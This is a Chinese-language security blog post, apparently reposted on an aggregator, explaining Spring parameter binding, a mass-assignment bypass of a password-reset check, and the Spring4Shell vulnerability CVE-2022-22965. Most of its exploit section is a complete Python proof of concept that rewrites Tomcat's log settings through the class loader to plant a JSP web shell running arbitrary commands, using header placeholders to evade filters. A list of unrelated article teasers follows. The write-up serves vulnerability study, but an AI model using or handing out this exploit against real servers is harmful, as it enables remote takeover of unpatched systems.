JAVA安全之Spring参数绑定漏洞CVE-2022-22965

前言

在介绍这个漏洞前,介绍下在spring下的参数绑定

在Spring框架中,参数绑定是一种常见的操作,用于将HTTP请求的参数值绑定到Controller方法的参数上。下面是一些示例,展示了如何在Spring中进行参数绑定:

示例1:

@Controller
@RequestMapping("/user")
public class UserController {

    @GetMapping("/{id}")
    public String getUserById(@PathVariable("id") int userId, Model model) {
        // 根据userId查询用户信息并返回
        User user = userService.getUserById(userId);
        model.addAttribute("user", user);
        return "user";
    }

    @PostMapping("/add")
    public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {
        // 创建新用户并保存到数据库
        User newUser = new User(name, age);
        userService.addUser(newUser);
        model.addAttribute("user", newUser);
        return "user";
    }
}

上述示例中,我们使用了@PathVariable@RequestParam注解来进行参数绑定:

  • @PathVariable用于将URL中的路径变量与方法参数进行绑定。在getUserById方法中,我们将URL中的"id"作为参数绑定到userId上。

  • @RequestParam用于将HTTP请求参数与方法参数进行绑定。在addUser方法中,我们将请求参数"name"和"age"分别绑定到nameage上。

通过这种方式,Spring框架能够自动将请求参数的值绑定到Controller方法的参数上,简化了参数处理的过程。

示例2:

在Spring框架中,除了绑定基本类型的参数外,我们也经常需要绑定对象作为方法的参数。下面是一个示例,展示了如何在Spring中进行对象的参数绑定:

假设有一个名为User的JavaBean类:

javaCopy Codepublic class User {
    private String name;
    private int age;

    // 省略构造函数、getter和setter 
}

然后在Controller中,我们可以将User对象作为方法的参数进行绑定

javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {

    @PostMapping("/add")
    public String addUser(@ModelAttribute User user, Model model) {
        // 通过@ModelAttribute注解将HTTP请求参数绑定到User对象
        userService.addUser(user);
        model.addAttribute("user", user);
        return "user";
    }
}

我们使用了@ModelAttribute注解将HTTP请求参数绑定到User对象上。Spring框架会自动根据HTTP请求的参数名和User对象的属性名进行匹配,并进行对象的参数绑定。

当客户端发送一个包含name和age参数的POST请求时,Spring框架将自动创建一个User对象,并将请求参数的值绑定到User对象的对应属性上。

这种方式能够方便地处理复杂的对象绑定工作,使得我们在Controller中可以直接操作领域对象,而无需手动解析和绑定参数。

参数绑定漏洞

参数绑定这个机制,使得我们对绑定的对象实现了可控。如果代码对这个对象又做了其他验证处理,那么就非常可能导致某种逻辑漏洞,绕过漏洞。

看如下的代码

@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {
    private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);
    @Autowired
    private UserService userService;

    public ResetPasswordController() {
    }
    
    @RequestMapping(
        value = {"/reset"},
        method = {RequestMethod.GET}
    )
    public String resetViewHandler() {
        logger.info("Welcome reset ! ");
        return "reset";
    }
    
    @RequestMapping(
        value = {"/reset"},
        method = {RequestMethod.POST}
    )
    public String resetHandler(@RequestParam String username, Model model) {
        logger.info("Checking username " + username);
        User user = this.userService.findByName(username);
        if (user == null) {
            logger.info("there is no user with name " + username);
            model.addAttribute("error", "Username is not found");
            return "reset";
        } else {
            model.addAttribute("user", user);
            return "redirect:resetQuestion";
        }
    }
    
    @RequestMapping(
        value = {"/resetQuestion"},
        method = {RequestMethod.GET}
    )
    public String resetViewQuestionHandler(@ModelAttribute User user) {
        logger.info("Welcome resetQuestion ! " + user);
        return "resetQuestion";
    }
    
    @RequestMapping(
        value = {"/resetQuestion"},
        method = {RequestMethod.POST}
    )
    public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {
        logger.info("Checking resetQuestion ! " + answerReset + " for " + user);
        if (!user.getAnswer().equals(answerReset)) {
            logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);
            model.addAttribute("error", "Incorrect answer");
            return "resetQuestion";
        } else {
            status.setComplete();
            String newPassword = GeneratePassword.generatePassowrd(10);
            user.setPassword(newPassword);
            this.userService.updateUser(user);
            model.addAttribute("message", "Your new password is " + newPassword);
            return "success";
        }
    }

}

由于有了参数绑定这个机制,user对象是我们用户可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证,那么我们可以尝试利用参数绑定的机制,参数设为?answer=hello&answerReset=hello,使得equals成功,从而绕过验证。

参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客

war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016

CVE-2022-22965

受影响范围: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影响版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 与Tomcat版本有关

注:jdk版本的不同,可能导致漏洞利用成功与否

思考:参数绑定可以给对应对象的属性赋值,有没有一种可能可以给其他的对象赋值?

为了实现这种可能,先了解下参数绑定的底层机制!

由于java语言复杂的对象继承关系,参数绑定也有多级参数绑定的机制。如contry.province.city.district=yuelu,
其内部的调用链也应是
Contry.getProvince()
        Province.getCity()
                City.getDistrict()
                        District.setDistrictName()

Spring自带: BeanWrapperlmpl------Spring容器中管理的对象,自动调用get/set方法
BeanWrapperlmpl是对PropertyDescriptor的进一步封装

我们都知道在Java中,所有的类都隐式地继承自java.lang.Object类。 Object类是Java中所有类的根类,它定义了一些通用的方法,因此这些方法可以在任何对象上调用。

  • getClass(): 返回对象所属的类。

是否可以通过class对象跳转到其他对象上。

在spring是世界中一切都是javabean,就连输出的log日志也是一个javabean,如果我们能够修改这个javabean,就意味着输出的log后缀名可控,其内容也可控。那好我们直接改成jsp马的形式

漏洞搭建复现

我们使用maven工具加入spring boot,模拟一个参数绑定的Controller,生成war包放入tomcat中

参考文章Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)

附上poc

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
        print(f"[+] Shell should be at: {location}?cmd=whoami")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()

注意这个poc的逻辑 先向log文件中打入马的形式,其部分关键语段用占位符代替,这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上,这时一个jsp就此形成

访问马

漏洞调试分析

给参数绑定的入函数打上断点

瞅见了我们传入的参数了吧

第一次循环这一次this还在User中(包装对象)

第二次循环跳出user对象了

有兴趣的同学可调试进入分析一哈,具体的代码逻辑为什么跳到了class对象?以博主目前的功力虽然调了很多次 但始终无法对这个机制了解彻底,所以这里也不在深究了.....

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/235692.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

7.25 SpringBoot项目实战【我的借阅记录】

文章目录 前言一、编写控制器二、编写服务层三、Git提交前言 至此,我们已经实现 图书借阅、收藏、评论等场景,最后来到【还书】场景,首先 还书的 入口 一般 是【我的借阅记录】,在这里可以根据产品设计,对于需要归还的书 操作【还书】,所以本文来实现【我的借阅记录】。…

喜讯 | 同立海源生物荣获北京市“专精特新”企业认定

喜 讯 近日&#xff0c;北京市经济和信息化局公示了2023年第三季度专精特新中小企业名单&#xff0c;北京同立海源生物科技有限公司凭借专业技术实力、创新研发能力、行业影响力以及卓越的企业文化&#xff0c;顺利通过专家层层评审与综合评估&#xff0c;荣获北京市“专精特…

大数据讲课笔记1.1 安装配置CentOS

文章目录 零、学习目标一、导入新课二、新课讲解&#xff08;一&#xff09;安装VMWare Workstation1、获取安装程序2、进入安装向导3、按提示完成安装 &#xff08;二&#xff09;虚拟网络编辑器1、启动虚拟网络编辑器2、选择VMnet8虚拟网3、更改网络配置4、查看DHCP设置5、查…

用PHP和HTML做登录注册操作数据库Mysql

用PHP和HTML做登录注册操作数据库Mysql 两个HTML页面&#xff0c;两个PHP,两个css,两张图片&#xff0c;源码资源在上方。 目录 HTML页面 login.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta nam…

Python基础(四、探索迷宫游戏)

Python基础&#xff08;四、探索迷宫游戏&#xff09; 游戏介绍游戏说明 游戏介绍 在这个游戏中&#xff0c;你将扮演一个勇敢的冒险者&#xff0c;进入了一个神秘的迷宫。你的任务是探索迷宫的每个房间&#xff0c;并最终找到隐藏在其中的宝藏。 游戏通过命令行界面进行交互…

工业总线I/O网关模块的作用有哪些?

工业网关是工业互联网中的重要组成部分&#xff0c;工业I/O网关模块I代表输入&#xff0c;O代表输出&#xff0c;I/O模块的核心是实现计算机硬件组件与外部世界之间的通信和数据传输。它可以将物联网设备和工业设备连接起来&#xff0c; 实现设备、系统、平台之间的数据交换和信…

【教程】逻辑回归怎么做多分类

目录 一、逻辑回归模型介绍 1.1 逻辑回归模型简介 1.2 逻辑回归二分类模型 1.3 逻辑回归多分类模型 二、如何实现逻辑回归二分类 2.1 逻辑回归二分类例子 2.2 逻辑回归二分类实现代码 三、如何实现一个逻辑回归多分类 3.1 逻辑回归多分类问题 3.1 逻辑回归多分类的代…

【华为鸿蒙系统学习】- HarmonyOS4.0开发|自学篇

​ &#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 HarmonyOS 4.0 技术介绍&#xff1a; HarmonyOS三大特征&#xff1a; 1.实现硬件互助&#…

【LeetCode热题100】【滑动窗口】找到字符串中所有字母异位词

给定两个字符串 s 和 p&#xff0c;找到 s 中所有 p 的 异位词 的子串&#xff0c;返回这些子串的起始索引。不考虑答案输出的顺序。 异位词 指由相同字母重排列形成的字符串&#xff08;包括相同的字符串&#xff09;。 示例 1: 输入: s "cbaebabacd", p "…

运营商二要素API:验证姓名和手机号码一致性的关键工具

前言 在当今数字化时代&#xff0c;手机号码已成为人们日常生活中不可或缺的一部分。然而&#xff0c;由于各种原因&#xff0c;姓名和手机号码往往并非完全匹配。为了解决这一问题&#xff0c;运营商二要素API应运而生&#xff0c;它能够验证姓名和手机号码是否一致&#xff…

《Vue.js设计与实现》—Vue3响应系统的原理

一、响应式数据与副作用函数 1. 副作用函数 1-1 指令材料 在JavaScript中&#xff0c;副作用函数是指在执行过程中对外部环境产生可观察的变化或影响的函数。这种函数通常会修改全局变量、修改传入的参数、执行I/O操作&#xff08;如读写文件或发送网络请求&#xff09;、修…

四十三、Redis基础

目录 一、认识NoSql 1、定义&#xff1a; 2、常见语法 3、与关系型数据库&#xff08;SQL&#xff09;的区别&#xff1a; 二、认识Redis 1、定义&#xff1a; 2、特征&#xff1a; 3、Key的结构&#xff1a; 三、安装Redis 四、Redis常见命令 1、数据结构介绍 2、…

Hive HWI 配置

前言 1、下载安装好hive后&#xff0c;发现hive有hwi界面功能&#xff0c;研究下是否可以运行&#xff0c;于是使用hive –service hwi命令启动hwi界面报错。 启动hwi功能 2、访问192.168.126.110:9999/hwi&#xff0c;发现访问错误 一、HWI介绍 HWI&#xff08;Hive Web Int…

gRPC .net学习

学习helloworld server用.net client有.net的控制台 和 unity server端 直接使用vs2022创建(需自行看有无装asp.net哦),搜索gPRC,使用6.0吧&#xff0c;创建工程后直接F5跑起来,服务端到此完成 .net控制台client,创建新的控制台,使用NuGet,然后导入server端的Protos文件夹 学…

[C++] STL_priority_queue(优先级队列) 的使用及底层的模拟实现,容器适配器,deque的原理介绍

文章目录 1、priority_queue1.1 priority_queue的介绍和使用1.2 priority_queue的使用模拟实现&#xff1a; 2、容器适配器2.1 什么是适配器2.2 STL标准库中stack和queue的底层结构 3、deque3.1 deque的原理介绍3.2 deque的缺陷 4、为什么选择deque作为stack和queue的底层默认容…

11月客户文章盘点——累计IF 150.5

凌恩生物以打造国内一流生物公司为目标&#xff0c;在科研测序领域深耕不辍&#xff0c;吸纳多名在生物信息高级技术人员的加盟&#xff0c;参与并完成多个高科技项目。现已在宏组学、基因组、表观遗传以及蛋白代谢等多组学及联合分析领域积累了深厚经验&#xff0c;打造出成熟…

Qt图形设计

#include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {//窗口相关设置//设置窗口标题this->setWindowTitle("王者荣耀");//设置窗口图标this->setWindowIcon(QIcon("C:\\Users\\28033\\Pictures\\Saved Pictures\\pict…

STM32超声波——HC_SR04

文章目录 一.超声波图片二.时序图三.超声波流程四.单位换算五.取余计算六.换算距离七.超声波代码 一.超声波图片 测量距离&#xff1a;2cm——400cm 二.时序图 (1).以下时序图要先提供一个至少10us的脉冲触发信号&#xff0c;告诉单片机我准备好了&#xff0c;然后该超声波…

最简单的pixel刷机和安装面具、lsposed

一 下载手机对应的系统 1&#xff0c;手机usb连接然后重启进入Fastboot模式&#xff1a;adb reboot bootloader2&#xff0c;找到你下载的系统&#xff0c;Windows 系统 直接运行 flash-all.bat上图 &#xff1a;左边就是安卓11和12的系统&#xff0c;右边是对应的手机型号 下…

思科最新版Cisco Packet Tracer 8.2.1安装

思科最新版Cisco Packet Tracer 8.2.1安装 一. 注册并登录CISCO账号二. 下载 Cisco Packet Tracer 8.2.1三. 安装四. 汉化五. cisco packet tracer教学文档六. 正常使用图 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新…